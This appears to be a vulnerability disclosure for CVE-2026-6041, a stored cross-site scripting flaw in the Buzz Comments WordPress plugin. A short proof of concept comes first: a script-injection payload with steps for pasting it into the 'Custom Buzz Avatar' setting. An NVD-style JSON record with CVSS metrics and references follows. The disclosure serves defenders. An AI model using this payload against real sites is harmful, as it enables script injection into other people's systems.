CVE-2026-6041

<!-- Stored XSS PoC for buzz_comments_avatar_image --> <!-- Payload to be injected in the Custom Buzz Avatar field --> "><script>alert('CVE-2026-6041 Stored XSS');</script> <!-- Description: --> <!-- 1. Log in as Administrator. --> <!-- 2. Navigate to Buzz Comments Settings. --> <!-- 3. Paste the payload into the 'Custom Buzz Avatar' input field. --> <!-- 4. Save settings. --> <!-- 5. The alert will trigger when the settings page is reloaded. -->

{"cve": {"id": "CVE-2026-6041", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:26.123", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Buzz Comments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Custom Buzz Avatar' (buzz_comments_avatar_image) setting in all versions up to, and including, 0.9.4. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the plugin settings page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/buzz-comments/trunk/admin.tpl.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/buzz-comments/trunk/buzzComments_class.php#L187", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1516ebe7-4d16-4e97-9baa-bc5857f95126?source=cve", "source": "[email protected]"}]}}